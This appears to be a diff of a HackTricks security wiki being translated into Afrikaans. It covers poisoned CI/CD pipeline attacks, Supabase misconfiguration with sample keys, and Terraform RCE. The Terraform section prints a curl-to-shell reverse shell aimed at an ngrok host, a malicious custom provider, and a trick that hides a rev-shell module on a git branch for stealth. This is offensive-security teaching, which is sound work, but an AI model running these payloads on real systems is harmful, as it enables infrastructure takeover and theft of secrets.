- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
- **D-PPE**: 'n **Direkte PPE** aanval vind plaas wanneer die akteur die **CI konfigurasie** lêer wat gaan uitgevoer word, **wysig**.
|
||||
- **I-DDE**: 'n **Indirekte PPE** aanval vind plaas wanneer die akteur 'n **lêer** wat die CI konfigurasie lêer wat gaan uitgevoer word, **afhang** (soos 'n make-lêer of 'n terraform konfigurasie).
|
||||
- **Publieke PPE of 3PE**: In sommige gevalle kan die pypelines **geaktiveer word deur gebruikers wat nie skryf toegang in die repo het nie** (en wat dalk nie eens deel van die org is nie) omdat hulle 'n PR kan stuur.
|
||||
- **3PE Opdrag Inspuiting**: Gewoonlik sal CI/CD pypelines **omgewing veranderlikes** met **inligting oor die PR** stel. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en is **gebruik** in 'n **gevaarlike plek** (soos die uitvoering van **sh opdragte**), kan 'n aanvaller **opdragte daar in spuit**.
|
||||
|
||||
### Exploitation Benefits
|
||||
### Exploitatie Voordele
|
||||
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
Om die 3 variasies om 'n pypeline te vervuil te ken, laat ons kyk wat 'n aanvaller kan verkry na 'n suksesvolle eksploitatie:
|
||||
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
- **Geheime**: Soos voorheen genoem, vereis pypelines **bevoegdhede** vir hul werksgeleenthede (om die kode te verkry, dit te bou, dit te ontplooi...) en hierdie bevoegdhede word gewoonlik **in geheime toegestaan**. Hierdie geheime is gewoonlik toeganklik via **omgewing veranderlikes of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel geheime as moontlik te eksfiltreer.
|
||||
- Afhangende van die pypeline platform mag die aanvaller **die geheime in die konfigurasie moet spesifiseer**. Dit beteken dat as die aanvaller nie die CI konfigurasie pypeline kan wysig nie (**I-PPE** byvoorbeeld), kan hy **slegs die geheime wat daardie pypeline het, eksfiltreer**.
|
||||
- **Berekening**: Die kode word êrens uitgevoer, afhangende van waar dit uitgevoer word, mag 'n aanvaller in staat wees om verder te pivot.
|
||||
- **On-premises**: As die pypelines op plek uitgevoer word, mag 'n aanvaller eindig in 'n **interne netwerk met toegang tot meer hulpbronne**.
|
||||
- **Cloud**: Die aanvaller kan toegang verkry tot **ander masjiene in die cloud** maar kan ook **eksfiltreer** IAM rolle/dienste rekeninge **tokens** daarvan om **verdere toegang binne die cloud** te verkry.
|
||||
- **Platforms masjien**: Soms sal die werksgeleenthede binne die **pypelines platform masjiene** uitgevoer word, wat gewoonlik binne 'n cloud met **geen verdere toegang** is.
|
||||
- **Kies dit:** Soms sal die **pypelines platform verskeie masjiene geconfigureer hê** en as jy die **CI konfigurasie lêer kan wysig**, kan jy **aangee waar jy die kwaadwillige kode wil uitvoer**. In hierdie situasie sal 'n aanvaller waarskynlik 'n omgekeerde skulp op elke moontlike masjien uitvoer om te probeer om dit verder te exploiteer.
|
||||
- **Kompromitteer produksie**: As jy binne die pypeline is en die finale weergawe daaruit gebou en ontplooi word, kan jy **die kode wat in produksie gaan loop, kompromitteer**.
|
||||
|
||||
## More relevant info
|
||||
## Meer relevante inligting
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
### Gereedskap & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is 'n oopbron gereedskap vir die oudit van jou sagteware voorsieningsketting stap vir sekuriteits nakoming gebaseer op 'n nuwe [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die oudit fokus op die hele SDLC-proses, waar dit risiko's van kode tyd in ontplooi tyd kan onthul.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
### Top 10 CI/CD Sekuriteitsrisiko's
|
||||
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Kyk na hierdie interessante artikel oor die top 10 CI/CD risiko's volgens Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
### Laboratoriums
|
||||
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
- Op elke platform wat jy plaaslik kan uitvoer, sal jy vind hoe om dit plaaslik te begin sodat jy dit kan konfigureer soos jy wil om dit te toets.
|
||||
- Gitea + Jenkins laboratorium: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
### Outomatiese Gereedskap
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is 'n statiese kode analise gereedskap vir infrastruktuur-as-kode.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,50 +1,49 @@
|
||||
# Supabase Security
|
||||
# Supabase Veiligheid
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
Volgens hul [**landing page**](https://supabase.com/): Supabase is 'n oopbron Firebase alternatief. Begin jou projek met 'n Postgres databasis, Verifikasie, onmiddellike API's, Edge Funksies, Realtime intekeninge, Berging, en Vektor inbedings.
|
||||
|
||||
### Subdomain
|
||||
### Subdomein
|
||||
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Basies wanneer 'n projek geskep word, sal die gebruiker 'n supabase.co subdomein ontvang soos: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Database configuration**
|
||||
## **Databasis konfigurasie**
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **Hierdie data kan vanaf 'n skakel soos `https://supabase.com/dashboard/project/<project-id>/settings/database` verkry word**
|
||||
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
Hierdie **databasis** sal in 'n AWS streek ontplooi word, en om daartoe te verbind, sal dit moontlik wees om te verbind met: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dit is in us-west-1 geskep).\
|
||||
Die wagwoord is 'n **wagwoord wat die gebruiker voorheen ingevoer het**.
|
||||
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
Daarom, aangesien die subdomein 'n bekende een is en dit as gebruikersnaam gebruik word en die AWS streke beperk is, mag dit moontlik wees om te probeer om die **wagwoord te brute force**.
|
||||
|
||||
This section also contains options to:
|
||||
Hierdie afdeling bevat ook opsies om:
|
||||
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
- Configure SSL: Reject plan-text connections (by default they are enabled)
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
- Die databasis wagwoord te herstel
|
||||
- Verbinding pooling te konfigureer
|
||||
- SSL te konfigureer: Weier plan-kleur verbindings (standaard is dit geaktiveer)
|
||||
- Skyf grootte te konfigureer
|
||||
- Netwerk beperkings en verbande toe te pas
|
||||
|
||||
## API Configuration
|
||||
## API Konfigurasie
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **Hierdie data kan vanaf 'n skakel soos `https://supabase.com/dashboard/project/<project-id>/settings/api` verkry word**
|
||||
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
Die URL om toegang tot die supabase API in jou projek te verkry, sal wees: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
### anon api sleutels
|
||||
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
Dit sal ook 'n **anon API sleutel** (`role: "anon"`), soos: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` genereer wat die toepassing sal moet gebruik om met die API sleutel in ons voorbeeld in kontak te tree.
|
||||
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
Dit is moontlik om die API REST te vind om hierdie API te kontak in die [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), maar die mees interessante eindpunte sal wees:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -69,13 +68,11 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
<summary>Inlog (/auth/v1/token?grant_type=password)</summary>
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -100,68 +97,63 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
So, wanneer jy 'n kliënt ontdek wat supabase gebruik met die subdomein wat aan hulle toegeken is (dit is moontlik dat 'n subdomein van die maatskappy 'n CNAME oor hul supabase subdomein het), kan jy probeer om **'n nuwe rekening in die platform te skep met die supabase API**.
|
||||
|
||||
### secret / service_role api keys
|
||||
### geheim / diensrol API sleutels
|
||||
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
'n Geheime API-sleutel sal ook gegenereer word met **`role: "service_role"`**. Hierdie API-sleutel moet geheim wees omdat dit in staat sal wees om **Row Level Security** te omseil.
|
||||
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
Die API-sleutel lyk soos volg: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
### JWT Geheim
|
||||
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
'n **JWT Geheim** sal ook gegenereer word sodat die toepassing **aangepaste JWT tokens kan skep en teken**.
|
||||
|
||||
## Authentication
|
||||
## Verifikasie
|
||||
|
||||
### Signups
|
||||
### Teken in
|
||||
|
||||
> [!TIP]
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
> Deur **standaard** sal supabase **nuwe gebruikers toelaat om rekeninge te skep** op jou projek deur die voorheen genoemde API eindpunte te gebruik.
|
||||
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
Ehowever, hierdie nuwe rekeninge, standaard, **sal hul e-posadres moet verifieer** om in die rekening in te log. Dit is moontlik om **"Laat anonieme aanmeldings toe"** in te skakel om mense toe te laat om in te log sonder om hul e-posadres te verifieer. Dit kan toegang tot **onverwagte data** verleen (hulle kry die rolle `public` en `authenticated`).\
|
||||
Dit is 'n baie slegte idee omdat supabase per aktiewe gebruiker hef, so mense kan gebruikers skep en inlog en supabase sal vir hulle hef:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Passwords & sessions
|
||||
### Wagwoorde & sessies
|
||||
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
Dit is moontlik om die minimum wagwoordlengte aan te dui (standaard), vereistes (geen standaard) en om die gebruik van gelekte wagwoorde te verbied.\
|
||||
Dit word aanbeveel om die **vereistes te verbeter aangesien die standaard een swak is**.
|
||||
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
- Gebruiker Sessies: Dit is moontlik om te configureer hoe gebruiker sessies werk (tydoue, 1 sessie per gebruiker...)
|
||||
- Bot en Misbruik Beskerming: Dit is moontlik om Captcha in te skakel.
|
||||
|
||||
### SMTP Settings
|
||||
### SMTP Instellings
|
||||
|
||||
It's possible to set an SMTP to send emails.
|
||||
Dit is moontlik om 'n SMTP in te stel om e-posse te stuur.
|
||||
|
||||
### Advanced Settings
|
||||
### Gevorderde Instellings
|
||||
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
- Stel vervaldatum in vir toegangstokens (3600 standaard)
|
||||
- Stel in om potensieel gecompromitteerde verfris tokens te detecteer en in te trek
|
||||
- MFA: Dui aan hoeveel MFA faktore op een slag per gebruiker geregistreer kan word (10 standaard)
|
||||
- Maksimum Direkte Databasis Verbindinge: Maksimum aantal verbindings wat gebruik word om te autentiseer (10 standaard)
|
||||
- Maksimum Versoek Duur: Maksimum tyd wat toegelaat word vir 'n Auth versoek om te duur (10s standaard)
|
||||
|
||||
## Storage
|
||||
## Berging
|
||||
|
||||
> [!TIP]
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
> Supabase laat **toe om lêers te stoor** en dit oor 'n URL beskikbaar te stel (dit gebruik S3 emmers).
|
||||
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
- Stel die opgelaaide lêergrootte limiet in (standaard is 50MB)
|
||||
- Die S3 verbinding word gegee met 'n URL soos: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- Dit is moontlik om **S3 toegangssleutel** aan te vra wat gevorm word deur 'n `access key ID` (bv. `a37d96544d82ba90057e0e06131d0a7b`) en 'n `secret access key` (bv. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Edge Functions
|
||||
## Edge Funksies
|
||||
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
Dit is moontlik om **geheime** in supabase te stoor wat ook **toeganklik sal wees deur edge funksies** (hulle kan van die web geskep en verwyder word, maar dit is nie moontlik om hul waarde direk te benader nie).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,303 +6,273 @@
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **cloud en op-prem hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, stoor en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS funksies.
|
||||
|
||||
#### How does Terraform work?
|
||||
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
Terraform skep en bestuur hulpbronne op cloud platforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (API's). Verskaffers stel Terraform in staat om met feitlik enige platform of diens met 'n toeganklike API te werk.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
HashiCorp en die Terraform gemeenskap het reeds **meer as 1700 verskaffers** geskryf om duisende verskillende tipes hulpbronne en dienste te bestuur, en hierdie getal hou aan om te groei. Jy kan al die publiek beskikbare verskaffers op die [Terraform Registry](https://registry.terraform.io/) vind, insluitend Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, en nog baie meer.
|
||||
|
||||
The core Terraform workflow consists of three stages:
|
||||
Die kern Terraform werksvloei bestaan uit drie fases:
|
||||
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
- **Write:** Jy definieer hulpbronne, wat oor verskeie cloud verskaffers en dienste mag wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Cloud (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi.
|
||||
- **Plan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.
|
||||
- **Apply:** Op goedkeuring, voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC weer skep voordat dit die virtuele masjiene skaal.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
|
||||
Just install terraform in your computer.
|
||||
Installeer eenvoudig terraform op jou rekenaar.
|
||||
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
Hier het jy 'n [gids](https://learn.hashicorp.com/tutorials/terraform/install-cli) en hier het jy die [beste manier om terraform af te laai](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform
|
||||
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
|
||||
Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromitteer om **in staat te wees om terraform konfigurasie lêers by te voeg/wysig**.
|
||||
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
Egter, terraform is 'n **baie sensitiewe komponent** om te kompromitteer omdat dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk.
|
||||
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
Die hoof manier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repo te kompromitteer wat terraform konfigurasies stoor**, omdat dit op 'n stadium **geïterpreteer** gaan word.
|
||||
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
Werklik, daar is oplossings daar buite wat **automaties terraform plan/apply uitvoer nadat 'n PR** geskep is, soos **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
As jy in staat is om 'n terraform lêer te kompromitteer, is daar verskillende maniere waarop jy RCE kan uitvoer wanneer iemand `terraform plan` of `terraform apply` uitvoer.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
Terraform plan is die **mees gebruikte opdrag** in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit heeltyd, so die **gemaklikste manier om RCE te kry** is om te verseker dat jy 'n terraform konfigurasie lêer vergiftig wat arbitrêre opdragte in 'n `terraform plan` sal uitvoer.
|
||||
|
||||
**Using an external provider**
|
||||
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
Terraform bied die [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die `external` data bron gebruik om arbitrêre kode tydens 'n `plan` uit te voer.
|
||||
|
||||
Om iets soos die volgende in 'n terraform konfigurasie lêer in te voeg, sal 'n rev shell uitvoer wanneer jy `terraform plan` uitvoer:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Gebruik van 'n pasgemaakte verskaffer**
|
||||
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
'n Aanvaller kan 'n [pasgemaakte verskaffer](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na die [Terraform Registry](https://registry.terraform.io/) stuur en dit dan by die Terraform-kode in 'n kenmerk tak voeg ([voorbeeld hier](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Die verskaffer word afgelaai in die `init` en sal die kwaadwillige kode uitvoer wanneer `plan` uitgevoer word.
|
||||
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
Jy kan 'n voorbeeld vind in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
**Gebruik 'n eksterne verwysing**
|
||||
|
||||
**Using an external reference**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
Albei genoemde opsies is nuttig, maar nie baie stil nie (die tweede is stilser, maar meer kompleks as die eerste een). Jy kan hierdie aanval selfs op 'n **stilser manier** uitvoer deur hierdie voorstelle te volg:
|
||||
|
||||
- In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy **'n eksterne hulpbron laai** wat die rev shell bevat:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
